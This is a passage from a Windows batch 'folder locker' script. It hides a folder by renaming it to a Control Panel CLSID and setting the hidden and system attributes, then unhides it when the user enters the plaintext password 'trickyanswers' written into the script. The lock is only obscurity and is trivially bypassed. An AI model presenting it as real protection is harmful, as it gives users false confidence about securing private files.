ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==trickyanswers goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End